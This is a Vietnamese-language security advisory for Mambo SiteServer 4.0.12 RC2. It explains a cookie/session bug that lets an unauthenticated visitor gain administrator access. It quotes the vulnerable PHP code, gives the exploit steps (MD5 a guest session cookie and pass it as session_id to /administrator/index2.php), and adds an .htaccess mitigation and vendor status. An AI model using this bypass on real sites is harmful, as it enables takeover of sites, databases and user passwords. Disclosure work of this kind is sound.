PROGRAM: Mambo SiteServer
HOMEPAGE:
http://www.mamboserver.com/ TESTED: Mambo 4.0.12 RC2
LOGIN REQUIRED: No
PROOF OF CONCEPT
==============
http://www.voidnull.com/exploit/mamboexp.phps DESCRIPTION
==========
Một lỗi trong /administrator/index2.php cho phép bất kỳ user nào cũng có thể đoạt được quyền admin
Thực tế, bạn chỉ nghĩ logging như một user bình thường sẽ tạo sessionid này, tuy nhiên một bug trong mã nguồn PHP mà chắc chắn không làm cho điều này xảy ra.
Bất kỳ người nào hiểu sơ sơ về PHP cũng biết rằng khi bạn set một cookie, nó sẽ không cập nhật cho đến khi bạn refresh trang web. Bất kỳ người nào nhưng người làm mã cho Mambo SiteServer là:
setcookie("sessioncookie", "$sessionID");
if ($HTTP_COOKIE_VARS["sessioncookie"]!="") {
$query="INSERT into ".$dbprefix."session set
session_id='$cryptSessionID', guest='', userid='$uid',
usertype='$usertype', gid='$gid', username='$username'";
$database->openConnectionNoReturn($query);
}
Như chúng ta có thể thấy, Mambo SiteServer kiểm tra nếu cookie được set trước khi nó cài vào sessionid trong table. Như thế nó sẽ chưa được set, không có sessionid nào được cài vào và vì thế chúng ta không thể "login" vào ngay cả thư mục admin.
Chuyển đến đoạn mã nguồn trong SessionCookie.php (cái mà được gọi ra khi bạn logout), chúng ta có thể thấy rằng một sessionid được cài vào mỗi khi logout. Tại sao? Tôi không có ý kiến.
$current_time = time();
if ($HTTP_COOKIE_VARS["sessioncookie"]==""){
$randnum=getSessionID1();
...
$cryptrandnum=md5($randnum);
...
setcookie("sessioncookie", "$randnum");
$guest=1;
$query="INSERT into ".$dbprefix."session SET username='',
time=$current_time, session_id='$cryptrandnum', guest=$guest";
$database->openConnectionNoReturn($query);
}
Một cookie, trông giống như sau sẽ được send đến trình duyệt:
sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063
Tất cả những gì chúng ta phải làm là MD5-encrypt nó.
0ebda5bbba49dc226b4ed8fc801f1d98
Bằng việc truy cập /administrator/index2.php với session này, Mambo SiteServer sẽ nghĩ rằng chúng ta là administrator log in vào:
/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98
SUMMARY
=======
Đoạt được quyền admin cho phép bạn truy cập vào tất cả cơ sở dữ liệu của MySQL, user passwords, news, polls và tất cả mọi thứ mà server có được. Nhiều websites chạy Mambo SiteServer cộng với những scripts khác mà cần cho MySQL, và điều này là lời cảnh báo đến những webmasters.
SOLUTIONS
========
Cho đến khi Mambo cho ra patch tôi đề nghị bảo vệ mật khẩu thư mục /administrator với .htaccess.
VENDOR STATUS
===========
Đã thông báo cho nhà cung cấp. Họ đang làm cái patch cho lỗi này.